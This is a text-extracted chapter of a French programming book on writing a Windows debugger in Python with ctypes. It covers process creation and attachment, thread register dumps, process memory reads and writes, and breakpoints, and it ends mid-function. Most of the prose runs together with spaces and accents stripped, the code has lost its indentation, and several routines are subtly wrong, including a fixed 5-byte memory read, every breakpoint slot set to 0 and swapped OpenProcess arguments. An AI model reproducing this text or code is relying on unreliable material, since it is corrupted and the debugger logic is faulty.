NoustravailleronsdoncicisousWindowsetpourmapart,sousLinux,jutiliseraiunemachinevirtuelleVirtualbox
pourcrireettesterlesexercicesetexemplesdecechapitre.
UneconnaissancepralabledessystmesWindows,delassembleuretbiensrdePythonestrequise.
Nousdevonssavoirassocierledebuggerunprocessussoitenouvrantlexcutableetenlelanantensuite,soit
enlattachant(lexcutableestdjlanc).
Nous allons attacher le processus quand cela nous permettra de ne pas prendre en compte le dmarrage de
lapplicationetdenousfocalisersurunepartieducodespcifique.
Lorsquenousouvrironsleprogrammedansledebbugger,nouscontrleronsleprocessusdsledmarrage,nous
pourronsdoncvoircequiestchargparexemple,cequiesttrsutilelorsdanalysedemalwaresouvirus.

ENI Editions - All rights reserved - chantal gournier

- 1-

Premireapproche
CommentcrerunprocessussousWindowsdansundebugger ?
LafonctionsappelleCreateProcessA(),laquellenouspouvonstransmettre desparamtres.
Nous pourrons trouver sur le Net, et en particulier sur le site de MSDN, des dtails sur cette fonction si nous le
souhaitons.
Nousneverronsiciquelesparamtrestransmettrequinousserontutilespourlasuite.
Lesparamtresutilisssont :

lpApplicationName

lpCommandLine

dwCreationFlags

lpStartupInfo

lpProcessInformation

LesautresparamtrespourronttremisNULL.
Lesdeuxpremiersparamtresvontnouspermettrededonnerlechemindelapplicationetlescommandeslui
passer(enlignedecommande)sincessaire.

dwCreationFlagsnousserviraindiquerauprocessusquildevradmarreravecledebugger(enmodedebug
donc) et les deux derniers paramtres sont des pointeurs sur des structures ( STARTUPINFO et
PROCESS_INFORMA-TION)quidterminerontlafaondontleprocessusdevradmarreretnousdonnerades
informationsaprsledmarrageduprocessus.
NousallonsdonccrerenPythontroisprogrammes,unscriptquivadfinirlesdeuxstructuresdontnousavons
parlcidessus(mes_definitions_debugger.py),unscriptquiseraledebugger(mon_debugger.py)etunscriptde
testpourvrifierlebonfonctionnementdesdeuxscriptsprcdents.
mes_definitions_debugger.py

from ctypes import *


WORD = c_ushort
DWORD = c_ulong
LPBYTE = POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE = c_void_p
DEBUG_PROCESS = 0x00000001
CREATE_NEW_CONSOLE = 0x00000010
class STARTUPINFO(Structure):
_fields_ = [
("cb", DWORD),
("lpReserved",LPTSTR),
("lpDesktop",LPTSTR),
("lpTitle",LPTSTR),
("dwX",DWORD),
("dwY",DWORD),
("dwXSize",DWORD),
("dwYSize",DWORD),
("dwXCountChars",DWORD),
("dwYCountchars",DWORD),
("dwFillAttribute",DWORD),

ENI Editions - All rights reserved - chantal gournier

- 1-

("dwFlags",DWORD),
("wShowWindow",WORD),
("cbReserved2",WORD),
("lpReserved2",LPBYTE),
("hStdInout",HANDLE),
("hStdOutput",HANDLE),
("hStdError",HANDLE)
]
class PROCESS_INFORMATION(Structure):
_fields_=[
("hProcess",HANDLE),
("hThread",HANDLE),
("dwProcessId",DWORD),
("dwThreadId",DWORD)
]

mon_debugger.py

from ctypes import *


from mes_definitions_debugger import *
kernel32=windll.kernel32
class debugger():
def __init__(self):
pass
def load(self,path_to_exe):
creation_flags=DEBUG_PROCESS
startupinfo=STARTUPINFO()
process_information=PROCESS_INFORMATION()
startupinfo.dwFlags=0x1
startupinfo.wShowWindows=0x0
startupinfo.cb=sizeof(startupinfo)
if kernel32.CreateProcessA(path_to_exe,None,None,None,None,
creation_flags,None,None,byref(startupinfo),
byref(process_information)):
print "[*] Nous avons lance le process !"
print "[*] PID: %d"%process_information.dwProcessId
else:
print "[*] Erreur: 0x%08x." %
kernel32.GetLastError()

mon_test.py

import mon_debugger
debugger=mon_debugger.debugger()
debugger.load("C:\\WINDOWS\system32\\calc.exe")

Nousneverronspasicilafentredecalc.exeapparatre,carlapplicationnelapasconstruitelcran.Eneffet,
elleattenddudebuggerlapermissiondecontinuerlexcution.
Mais nous allons procder par tapes et voir maintenant comment attacher un processus au debugger, le
processustantdoncencoursdexcution.
- 2-

ENI Editions - All rights reserved - chantal gournier

Ilvanousfalloirrcuprerlehandle(lentte)duprocessusluimme.
LafonctionOpenProcess(),contenuedanskernel32.dll,vanouspermettredevrifierquenousavonsaccs
ceprocessus.
Le paramtre dwDesiredAccess indique le type de droit daccs que nous dsirons. Dans notre cas, le
dbogage,nousluiattribueronsPROCESS_ALL_ACCESS.
LeparamtrebInheritHandledevratoujourstremisFalsedansnotrecas.
LeparamtredwProcessIdcontiendrabienvidemmentlePIDduprocessus.
Nousattacheronsleprocessusgrcelafonction DebugActiveProcess()laquellenousdonneronscomme
paramtrelePIDdenotreprocessus.
Nous devrons ensuite attendre un vnement afin de commencer le dbogage et ce grce la fonction
WaitForDebugEvent().
Lepremierparamtre, lpDebugEvent,seraunpointeursurlastructure DEBUG_EVENT,lesecondparamtre,
dwMilliseconds, sera configur INFINITE, ce qui permettra la fonction de ne revenir que quand un
vnementauralieu.
Pourchaquevnementquelafonctioncapturera,desenttesserontassocisquidterminerontletypedaction
effectueravantdecontinuerlexcutionduprocessus.
NousutiliseronsdonclafonctionContinueDebugEvent()cesfins.Cellecidemandetroisarguments.
Les deux premiers,
vnement.

dwProcessId

et

dwThreadId,

seront initialiss quand le debugger capturera un

Le paramtre dwContinueStatus signale au processus de continuer lexcution (DBG_CONTINUE) ou de


gnreruneexception( DBG_EXCEPTION_ NOT_HANDLED).
Il

faudra

ensuite

pouvoir

se

dtacher

du

processus,

nous

utiliserons

pour

cela

la

fonction

DebugActiveProcessStop()quiprendlePIDduprocessuscommeargument.
Lescriptmes_definitions_debugger_final.pyesttlchargeablesurlesitedesditionsENIetcompltenfonction
desbesoinsdecechapitre.Ilestaisdelemodifieretdelecompltersincessaire.
CescriptestcritparJustinSeitzetestprsentsoussaformeoriginale.
mes_definitions_debugger_final.py

from ctypes import *


# Lets map
BYTE
=
WORD
=
DWORD
=
LPBYTE
=
LPTSTR
=
HANDLE
=
PVOID
=
LPVOID
=
UINT_PTR =
SIZE_T
=

the Microsoft types to ctypes for clarity


c_ubyte
c_ushort
c_ulong
POINTER(c_ubyte)
POINTER(c_char)
c_void_p
c_void_p
c_void_p
c_ulong
c_ulong

# Constants
DEBUG_PROCESS
CREATE_NEW_CONSOLE
PROCESS_ALL_ACCESS

= 0x00000001
= 0x00000010
= 0x001F0FFF

ENI Editions - All rights reserved - chantal gournier

- 3-

INFINITE
DBG_CONTINUE

= 0xFFFFFFFF
= 0x00010002

# Debug event constants


EXCEPTION_DEBUG_EVENT
CREATE_THREAD_DEBUG_EVENT
CREATE_PROCESS_DEBUG_EVENT
EXIT_THREAD_DEBUG_EVENT
EXIT_PROCESS_DEBUG_EVENT
LOAD_DLL_DEBUG_EVENT
UNLOAD_DLL_DEBUG_EVENT
OUTPUT_DEBUG_STRING_EVENT
RIP_EVENT
# debug exception codes.
EXCEPTION_ACCESS_VIOLATION
EXCEPTION_BREAKPOINT
EXCEPTION_GUARD_PAGE
EXCEPTION_SINGLE_STEP

=
=
=
=
=
=
=
=
=

0x1
0x2
0x3
0x4
0x5
0x6
0x7
0x8
0x9
=
=
=
=

0xC0000005
0x80000003
0x80000001
0x80000004

# Thread constants for CreateToolhelp32Snapshot()


TH32CS_SNAPHEAPLIST = 0x00000001
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPTHREAD
= 0x00000004
TH32CS_SNAPMODULE
= 0x00000008
TH32CS_INHERIT
= 0x80000000
TH32CS_SNAPALL
= (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS |
TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)
THREAD_ALL_ACCESS
= 0x001F03FF
# Context flags for GetThreadContext()
CONTEXT_FULL
= 0x00010007
CONTEXT_DEBUG_REGISTERS
= 0x00010010
# Memory permissions
PAGE_EXECUTE_READWRITE

= 0x00000040

# Hardware breakpoint conditions


HW_ACCESS
= 0x00000003
HW_EXECUTE
= 0x00000000
HW_WRITE
= 0x00000001
# Memory page permissions, used by VirtualProtect()
PAGE_NOACCESS
= 0x00000001
PAGE_READONLY
= 0x00000002
PAGE_READWRITE
= 0x00000004
PAGE_WRITECOPY
= 0x00000008
PAGE_EXECUTE
= 0x00000010
PAGE_EXECUTE_READ
= 0x00000020
PAGE_EXECUTE_READWRITE
= 0x00000040
PAGE_EXECUTE_WRITECOPY
= 0x00000080
PAGE_GUARD
= 0x00000100
PAGE_NOCACHE
= 0x00000200
PAGE_WRITECOMBINE
= 0x00000400
# Structures for CreateProcessA() function
# STARTUPINFO describes how to spawn the process
class STARTUPINFO(Structure):
_fields_ = [
("cb",
DWORD),
("lpReserved",
LPTSTR),
("lpDesktop",
LPTSTR),
("lpTitle",
LPTSTR),
("dwX",
DWORD),
("dwY",
DWORD),
("dwXSize",
DWORD),
("dwYSize",
DWORD),
("dwXCountChars",
DWORD),
("dwYCountChars",
DWORD),

- 4-

ENI Editions - All rights reserved - chantal gournier

("dwFillAttribute",
("dwFlags",
("wShowWindow",
("cbReserved2",
("lpReserved2",
("hStdInput",
("hStdOutput",
("hStdError",
]

DWORD),
DWORD),
WORD),
WORD),
LPBYTE),
HANDLE),
HANDLE),
HANDLE),

# PROCESS_INFORMATION receives its information


# after the target process has been successfully
# started.
class PROCESS_INFORMATION(Structure):
_fields_ = [
("hProcess",
HANDLE),
("hThread",
HANDLE),
("dwProcessId", DWORD),
("dwThreadId", DWORD),
]
# When the dwDebugEventCode is evaluated
class EXCEPTION_RECORD(Structure):
pass
EXCEPTION_RECORD._fields_ = [
("ExceptionCode",
("ExceptionFlags",
("ExceptionRecord",
("ExceptionAddress",
("NumberParameters",
("ExceptionInformation",
]

DWORD),
DWORD),
POINTER(EXCEPTION_RECORD)),
PVOID),
DWORD),
UINT_PTR * 15),

class _EXCEPTION_RECORD(Structure):
_fields_ = [
("ExceptionCode",
DWORD),
("ExceptionFlags",
DWORD),
("ExceptionRecord",
POINTER(EXCEPTION_RECORD)),
("ExceptionAddress",
PVOID),
("NumberParameters",
DWORD),
("ExceptionInformation", UINT_PTR * 15),
]
# Exceptions
class EXCEPTION_DEBUG_INFO(Structure):
_fields_ = [
("ExceptionRecord",
EXCEPTION_RECORD),
("dwFirstChance",
DWORD),
]
# it populates this union appropriately
class DEBUG_EVENT_UNION(Union):
_fields_ = [
("Exception",
EXCEPTION_DEBUG_INFO),
#
("CreateThread",
CREATE_THREAD_DEBUG_INFO),
#
("CreateProcessInfo", CREATE_PROCESS_DEBUG_INFO),
#
("ExitThread",
EXIT_THREAD_DEBUG_INFO),
#
("ExitProcess",
EXIT_PROCESS_DEBUG_INFO),
#
("LoadDll",
LOAD_DLL_DEBUG_INFO),
#
("UnloadDll",
UNLOAD_DLL_DEBUG_INFO),
#
("DebugString",
OUTPUT_DEBUG_STRING_INFO),
#
("RipInfo",
RIP_INFO),
]
# DEBUG_EVENT describes a debugging event
# that the debugger has trapped
class DEBUG_EVENT(Structure):
_fields_ = [
("dwDebugEventCode", DWORD),
("dwProcessId",
DWORD),

ENI Editions - All rights reserved - chantal gournier

- 5-

("dwThreadId",
("u",
]

DWORD),
DEBUG_EVENT_UNION),

# Used by the CONTEXT structure


class FLOATING_SAVE_AREA(Structure):
_fields_ = [
("ControlWord", DWORD),
("StatusWord", DWORD),
("TagWord", DWORD),
("ErrorOffset", DWORD),
("ErrorSelector", DWORD),
("DataOffset", DWORD),
("DataSelector", DWORD),
("RegisterArea", BYTE * 80),
("Cr0NpxState", DWORD),
]
# The CONTEXT structure which holds all of the
# register values after a GetThreadContext() call
class CONTEXT(Structure):
_fields_ = [
("ContextFlags", DWORD),
("Dr0", DWORD),
("Dr1", DWORD),
("Dr2", DWORD),
("Dr3", DWORD),
("Dr6", DWORD),
("Dr7", DWORD),
("FloatSave", FLOATING_SAVE_AREA),
("SegGs", DWORD),
("SegFs", DWORD),
("SegEs", DWORD),
("SegDs", DWORD),
("Edi", DWORD),
("Esi", DWORD),
("Ebx", DWORD),
("Edx", DWORD),
("Ecx", DWORD),
("Eax", DWORD),
("Ebp", DWORD),
("Eip", DWORD),
("SegCs", DWORD),
("EFlags", DWORD),
("Esp", DWORD),
("SegSs", DWORD),
("ExtendedRegisters", BYTE * 512),
]
# THREADENTRY32 contains information about a thread
# we use this for enumerating all of the system threads
class THREADENTRY32(Structure):
_fields_ = [
("dwSize",
DWORD),
("cntUsage",
DWORD),
("th32ThreadID",
DWORD),
("th32OwnerProcessID", DWORD),
("tpBasePri",
DWORD),
("tpDeltaPri",
DWORD),
("dwFlags",
DWORD),
]
# Supporting struct for the SYSTEM_INFO_UNION union
class PROC_STRUCT(Structure):
_fields_ = [
("wProcessorArchitecture",
WORD),
("wReserved",
WORD),
]

- 6-

ENI Editions - All rights reserved - chantal gournier

# Supporting union for the SYSTEM_INFO struct


class SYSTEM_INFO_UNION(Union):
_fields_ = [
("dwOemId",
DWORD),
("sProcStruc", PROC_STRUCT),
]
# SYSTEM_INFO structure is populated when a call to
# kernel32.GetSystemInfo() is made. We use the dwPageSize
# member for size calculations when setting memory breakpoints
class SYSTEM_INFO(Structure):
_fields_ = [
("uSysInfo", SYSTEM_INFO_UNION),
("dwPageSize", DWORD),
("lpMinimumApplicationAddress", LPVOID),
("lpMaximumApplicationAddress", LPVOID),
("dwActiveProcessorMask", DWORD),
("dwNumberOfProcessors", DWORD),
("dwProcessorType", DWORD),
("dwAllocationGranularity", DWORD),
("wProcessorLevel", WORD),
("wProcessorRevision", WORD),
]
# MEMORY_BASIC_INFORMATION contains information about a
# particular region of memory. A call to kernel32.VirtualQuery()
# populates this structure.
class MEMORY_BASIC_INFORMATION(Structure):
_fields_ = [
("BaseAddress", PVOID),
("AllocationBase", PVOID),
("AllocationProtect", DWORD),
("RegionSize", SIZE_T),
("State", DWORD),
("Protect", DWORD),
("Type", DWORD),
]

Nousallonsdoncpouvoirmaintenantcomplterlescriptmon_debugger.pypourtestercesnouvellesmodifications
etdemmemodifiermon_test.py.
mon_debugger2.py

from ctypes import *


from mes_definitions_debugger_final import *
kernel32=windll.kernel32
class debugger():
def __init__(self):
self.h_process=None
self.pid=None
self.debugger_active=False
def load(self,path_to_exe):
creation_flags=DEBUG_PROCESS
startupinfo=STARTUPINFO()
process_information=PROCESS_INFORMATION()
startupinfo.dwFlags=0x1
startupinfo.wShowWindows=0x0
startupinfo.cb=sizeof(startupinfo)
if
kernel32.CreateProcessA(path_to_exe,None,None,None,None,

ENI Editions - All rights reserved - chantal gournier

- 7-

creation_f lags,None,None,byref(startupinfo),
byref(process_information)):
print "[*] Nous avons lance le process !"
print "[*] PID: %d"%process_information.dwProcessId
else:
print "[*] Erreur: 0x%08x." %
kernel32.GetLastError()
print "[*] Nous avons attache le processus avec succes"
print "[*] PID: %d"% process_information.dwProcessId
self.h_process=self.open_process
(process_information.dwP rocessId)
def open_process(self,pid):
h_process=kernel32.OpenProcess
(PROCESS_ALL_ACCESS,pid,False)
return h_process
def attach(self,pid):
self.h_process=self.open_process(pid)
if kernel32.DebugActiveProcess(pid):
self.debugger_active=True
self.pid=int(pid)
self.run()
else:
print "[*] impossible dattacher le processus"
def run(self):
while self.debugger_active==True:
self.get_debug_event()
def get_debug_event(self):
debug_event=DEBUG_EVENT()
continue_status=DBG_CONTINUE
if
kernel32.WaitForDebugEvent(byref(debug_event),INFINITE):
raw_input("Appuyer sur une touche pour
continuer...")
self.debugger_active=False
kernel32.ContinueDebugEvent
(debug_event.dwProcessId,
debug_event.dwThreadId,continue_status)
def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] debogage termine. sortie..."
return True
else:
print "il y a une erreur"
return False

mon_test2.py

import mon_debugger2
debugger=mon_debugger2.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
debugger.detach()

Lancezmaintenantlacalculatrice(DmarrerProgrammesAccessoires Calculatrice).
NousdevonsmaintenantdterminersonPID.
Pourcela,effectuezunclicdroitsurlabarredestchesWindowsetslectionnezGestionnairedes
tches.

- 8-

ENI Editions - All rights reserved - chantal gournier

Si les PID napparaissent pas, cliquez sur Affichage puis slectionnez les colonnes et cochez PID
(IdentificateurdeProcessus).

VouspouvezmaintenantreleverlePIDduprocessuscalc.exe.
Lancez maintenant le script mon_test2.py, indiquez le PID du processus puis appuyez sur une touche
quandcelavousestdemand.
Avant dappuyer sur une touche, vous pouvez constater que la calculatrice est toujours prsente mais vous ne
pouvezaccderaucunefonctionnitouchedecelleci.Leprocessusestsuspendupourlinstant.
Dsquevouspressezunetoucheduclavier,lacalculatriceestdtachedudebuggeretvousrcuprezdoncla
mainsurcelleci.

Nousavonsdjeffectuunbontravail,nousallonsmaintenantvoircomment interagiravecleprocessus.

ENI Editions - All rights reserved - chantal gournier

- 9-

tatdesregistres
Undesprincipauxatoutsdundbogueurestdepouvoirvisualiserlecontenudesregistres.Quanduneexception
apparat, nous devons tre capables de dterminer ltat de la pile nimportequelendroitetnimporte quel
moment.
Pourcefaire,nousdevonsdoncobtenirlesinformationsduthreadcourant.
La fonction OpenThread() va nous y aider en lui indiquant les paramtres adquats. Cette fonction est trs
semblableOpenProcess()maisaulieudeluitransmettrelePID,nousdevronsluitransmettreleTID(Thread
Identifier).

1.numrationdesthreads
Nous devons donc tre capables dnumrer tous les threads du processus. Nous avons pour cela notre
disposition lafonction CreateToolhelp32Snapshot() de la DLL kernel32.dll. Nous pourrons donc obtenir
parexemplelalistedesprocessus,desthreadsetlesDLLchargs.
LeparamtredwFlagsindiqueralafonctioncequenousdsironsregarder(threads,DLL,processus,heap).
NousmettronsdoncceparamtreTH32CS_SNAPTHREAD(valeur0x00000004)pourvoirlesthreads.
Lautreparamtre,th32ProcessID,estsimplementlePIDduprocessus.
Quandlafonctionrussit,ellenousretournelehandledelobjetsnapshot.
Unefoisquenousavonslalistedesthreads,nouspouvonslesnumrer.
Pour commencer lnumration, nous utiliserons Thread32First() qui demande deux paramtres :
Hsnapshot,lehandleretournpour CreateToolhelp32Snapshot(),etleparamtre lpte,unpointeur
surlastructureTHREADENTRY32.Cettestructurecontiendralesinformationsdupremierthreadtrouv.
Danscettestructure,troischampsnousintressent :

dwSize :tailledelastructure.

th32threadID :TIDduthreadexamin.

th32OwnerProcessID :PIDduprocessuscontenantlethread.

Nous pourrons ensuite passer lautre thread avec la fonction Thread32Next() qui demande les mmes
paramtres que Thread32First(). Nous pourrons placer Thread32Next() dans une boucle afin de
parcourirtouslesthreads.

2.Rcuprationdesvaleursdesregistres
La fonction GetThreadContext() va nous permettre de rcuprer les valeurs des registres et la fonction
SetThreadContext()delesmodifier.
Ces deux fonctions acceptent deux arguments identiques. Le premier, hThread, est lentte retourn par
OpenThread()etledeuximeargument,lpContext,estunpointeurverslastructureCONTEXTquicontient
lavaleurdetouslesregistres.
Vouspouvezallerconsulterlecontenudecettefonctiondanslescriptmes_definitions_debugger_final.py.
Reprenonsdoncmon_debugger2.pyetmon_test2.pypourlesmodifier.

ENI Editions - All rights reserved - chantal gournier

- 1-

Ajouterdansmon_debugger2.pyquidevientmon_debugger3.py

def enumerate_threads(self):
thread_entry=THREADENTRY32()
thread_list=[]
snapshot=kernel32.CreateToolhelp32Snapshot
(TH32CS_SNAPTH READ,self.pid)
if snapshot is not None:
thread_entry.dwSize=sizeof(thread_entry)
success=kernel32.Thread32First
(snapshot,byref(thread_ entry))
while success:
if thread_entry.th32OwnerProcessID==self.pid:
thread_list.append(thread_entry.th32ThreadID
success=kernel32.Thread32Next
(snapshot,byref(thread_entry))
kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get_thread_context (self, thread_id=None,h_thread=None):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL |
CONTEXT_DEBUG_REGISTERS
if h_thread is None:
self.h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(self.h_thread,
byref(context)):
return context
else:
return False

Modifionsmaintenantmon_test2.pyenmon_test3.py.
mon_test3.py

import mon_debugger3
debugger=mon_debugger3.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
list=debugger.enumerate_threads()
for thread in list:
thread_context=debugger.get_thread_context(thread)
print "[*] Dump des registres pour le thread avec lID 0x
%08x"%thread
print "[**] EIP: 0x%08x"%thread_context.Eip
print "[**] ESP: 0x%08x"%thread_context.Esp
print "[**] EBP: 0x%08x"%thread_context.Ebp
print "[**] EAX: 0x%08x"%thread_context.Eax
print "[**] EBX: 0x%08x"%thread_context.Ebx
print "[**] ECX: 0x%08x"%thread_context.Ecx
print "[**] EDX: 0x%08x"%thread_context.Edx
print "[*] fin du DUMP"
debugger.detach()

Lacapturesuivantemontrelersultatdelexcutionduscript:

- 2-

ENI Editions - All rights reserved - chantal gournier

ENI Editions - All rights reserved - chantal gournier

- 3-

Lesvnementsdudebugger
NousallonsrevenirsurlafonctionWaitForDebugEvent()quinousretourne lastructureDEBUG_EVENT.
Cette structure contient beaucoup dinformation dont dwDebugEventCode qui va particulirement nous
intresser,ellevanousindiquerqueltypedvnement aeulieu.
EnregardantlavaleurdedwDebugEventCode,nouspourronsainsidterminerlvnement.

Code
dvnement

Valeurducode

Valeurdelunionu

0x1

EXCEPTION_DEBUG_EVENT

u.Exception

0x2

CREATE_THREAD_DEBUG_EVENT

u.CreateThread

0x3

CREATE_PROCESS_DEBUG_EVENT

u.CreateProcessInfo

0x4

EXIT_THREAD_DEBUG_EVENT

u.ExitThread

0x5

EXIT_PROCESS_DEBUG_EVENT

u.ExitProcess

0x6

LOAD_DLL_DEBUG_EVENT

u.LoadDll

0x7

UNLOAD_DLL_DEBUG_EVENT

u.UnloadDll

0x8

OUTPUT_DEBUG_STRING_EVENT

u.DebugString

0x9

RIP_EVENT

u.RipInfo

Ajoutonsdoncmaintenantquelquesdfinitionsmon_debugger3.pyquidevient doncmon_debugger_final.py
Nous utiliserons mon_debugger_final.py jusqu la fin de ce chapitre, des fonctions que nous verrons
ultrieurementyontdjtplaces.
mon_debugger_final.py

from ctypes import *


from mes_definitions_debugger_final import *
import sys
import time
kernel32 = windll.kernel32
class debugger():
def __init__(self):
self.h_process
=
None
self.pid
=
None
self.debugger_active =
False
self.h_thread
=
None
self.context
=
None
self.breakpoints
=
{}
self.first_breakpoint=
True
self.hardware_breakpoints = {}

system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page_size = system_info.dwPageSize

self.guarded_pages
= []
self.memory_breakpoints = {}

ENI Editions - All rights reserved - chantal gournier

- 1-

def load(self,path_to_exe):
creation_flags = DEBUG_PROCESS
startupinfo
= STARTUPINFO()
process_information = PROCESS_INFORMATION()
startupinfo.dwFlags
= 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] Nous avons lance le processus avec succes!"
print "[*] Le processus a lID: %d" % \
process_information.dwProcessId
self.pid = process_information.dwProcessId
self.h_process =
self.open_process(self,process_information.dwProcessId)
self.debugger_active = True
else:
print "[*] Erreur avec le code derreur %d." %
kernel32.GetLastError()
def open_process(self,pid):
h_process =
kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid)
return h_process
def attach(self,pid):
self.h_process = self.open_process(pid)
if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid
= int(pid)
else:
print "[*] Impossible dattacher le processus."
def run(self):
while self.debugger_active == True:
self.get_debug_event()
def get_debug_event(self):
debug_event
= DEBUG_EVENT()
continue_status = DBG_CONTINUE
if kernel32.WaitForDebugEvent(byref(debug_event),100):
self.h_thread
=
self.open_thread(debug_event.dwThreadId)
self.context
=
self.get_thread_context(h_thread=self.h_thread)
self.debug_event
= debug_event

- 2-

ENI Editions - All rights reserved - chantal gournier

print "Code devenement: %d Thread ID: %d" % \


(debug_event.dwDebugEventCode,debug_event.dwThread
Id)
if debug_event.dwDebugEventCode ==
EXCEPTION_DEBUG_EVENT:
self.exception =
debug_event.u.Exception.ExceptionRecord.ExceptionCode
self.exception_address =
debug_event.u.Exception.ExceptionRecord.ExceptionAddress
if self.exception == EXCEPTION_ACCESS_VIOLATION:
print "detection de violation dacces."
elif self.exception == EXCEPTION_BREAKPOINT:
continue_status =
self.exception_handler_breakpoint()
elif self.exception == EXCEPTION_GUARD_PAGE:
print "detection dacces de la Guard Page ."
elif self.exception == EXCEPTION_SINGLE_STEP:
self.exception_handler_single_step()
kernel32.ContinueDebugEvent(debug_event.dwProcessId,
debug_event.dwThreadId, continue_status)

def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] le debogage se fini. Exit..."
return True
else:
print "Il y a une erreur"
return False
def open_thread (self, thread_id):
h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None,
thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Ne peut pas obtenir den-tete de thread
valide."
return False
def enumerate_threads(self):
thread_entry
= THREADENTRY32()
thread_list
= []
snapshot
=
kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid)
if snapshot is not None:
thread_entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,
byref(thread_entry))
while success:
if thread_entry.th32OwnerProcessID == self.pid:
thread_list.append(thread_entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot,
byref(thread_entry))

ENI Editions - All rights reserved - chantal gournier

- 3-

kernel32.CloseHandle(snapshot)
return thread_list
else:
return False
def get_thread_context (self, thread_id=None,h_thread=None):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL |
CONTEXT_DEBUG_REGISTERS
if h_thread is None:
self.h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(self.h_thread,
byref(context)):
return context
else:
return False
def read_process_memory(self,address,length):
data
read_buf
count

= ""
= create_string_buffer(length)
= c_ulong(0)

kernel32.ReadProcessMemory(self.h_process, address,
read_buf, 5, byref(count))
data
= read_buf.raw
return data

def write_process_memory(self,address,data):
count = c_ulong(0)
length = len(data)
c_data = c_char_p(data[count.value:])
if not kernel32.WriteProcessMemory(self.h_process,
address, c_data, length, byref(count)):
return False
else:
return True
def bp_set(self,address):
print "[*] Le breakpoint est place en : 0x%08x" % address
if not self.breakpoints.has_key(address):
old_protect = c_ulong(0)
kernel32.VirtualProtectEx(self.h_process, address, 1,
PAGE_EXECUTE_READWRITE, byref(old_protect))
original_byte = self.read_process_memory(address, 1)
if original_byte != False:
if self.write_process_memory(address, "\xCC"):
self.breakpoints[address] = (original_byte)
return True
else:
return False

def exception_handler_breakpoint(self):
print "[*] Adresse de lexception: 0x%08x" %

- 4-

ENI Editions - All rights reserved - chantal gournier

self.exception_address
# check if the breakpoint is one that we set
if not self.breakpoints.has_key(self.exception_address):
if self.first_breakpoint == True:
self.first_breakpoint = False
print "[*] Tapez le premier breakpoint."
return DBG_CONTINUE
else:
print "[*] Tapez le breakpoint defini par
lutilisateur."
self.write_process_memory(self.exception_address,
self.breakpoints[self.exception_address])
self.context =
self.get_thread_context(h_thread=self.h_thread)
self.context.Eip -= 1
kernel32.SetThreadContext
(self.h_thread,byref(self.con text))
continue_status = DBG_CONTINUE

return continue_status
def func_resolve(self,dll,function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)
return address
def bp_set_hw(self, address, length, condition):
if length not in (1, 2, 4):
return False
else:
length -= 1
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):
return False
if not self.hardware_breakpoints.has_key(0):
available = 0
elif not self.hardware_breakpoints.has_key(1):
available = 1
elif not self.hardware_breakpoints.has_key(2):
available = 2
elif not self.hardware_breakpoints.has_key(3):
available = 3
else:
return False
for thread_id in self.enumerate_threads():
context = self.get_thread_context(thread_id=thread_id)
context.Dr7 |= 1 << (available * 2)
if
elif
elif
elif

available
available
available
available

==
==
==
==

0:
1:
2:
3:

context.Dr0
context.Dr1
context.Dr2
context.Dr3

=
=
=
=

address
address
address
address

context.Dr7 |= condition << ((available * 4) + 16)

ENI Editions - All rights reserved - chantal gournier

- 5-

context.Dr7 |= length << ((available * 4) + 18)


h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref(context))
self.hardware_breakpoints[available] =
(address,length,condition)
return True
def exception_handler_single_step(self):
print "[*] Adresse de lexception : 0x%08x" %
self.exception_address
if self.context.Dr6 & 0x1 and
self.hardware_breakpoints.has_key(0):
slot = 0
elif self.context.Dr6 & 0x2 and
self.hardware_breakpoints.has_key(1):
slot = 0
elif self.context.Dr6 & 0x4 and
self.hardware_breakpoints.has_key(2):
slot = 0
elif self.context.Dr6 & 0x8 and
self.hardware_breakpoints.has_key(3):
slot = 0
else:
continue_status = DBG_EXCEPTION_NOT_HANDLED
if self.bp_del_hw(slot):
continue_status = DBG_CONTINUE
print "[*] Le breakpoint hardware a ete retire."
return continue_status
def bp_del_hw(self,slot):
for thread_id in self.enumerate_threads():
context = self.get_thread_context(thread_id=thread_id)
context.Dr7 &= ~(1 << (slot * 2))
if

slot == 0:
context.Dr0
elif slot == 1:
context.Dr1
elif slot == 2:
context.Dr2
elif slot == 3:
context.Dr3

= 0x00000000
= 0x00000000
= 0x00000000
= 0x00000000

context.Dr7 &= ~(3 << ((slot * 4) + 16))


context.Dr7 &= ~(3 << ((slot * 4) + 18))
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread,byref(context))
del self.hardware_breakpoints[slot]
return True
def bp_set_mem (self, address, size):
mbi = MEMORY_BASIC_INFORMATION()

- 6-

ENI Editions - All rights reserved - chantal gournier

if kernel32.VirtualQueryEx(self.h_process, address,
byref(mbi), sizeof(mbi)) < sizeof(mbi):
return False

current_page = mbi.BaseAddress
while current_page <= address + size:
self.guarded_pages.append(current_page)
old_protection = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h_process,
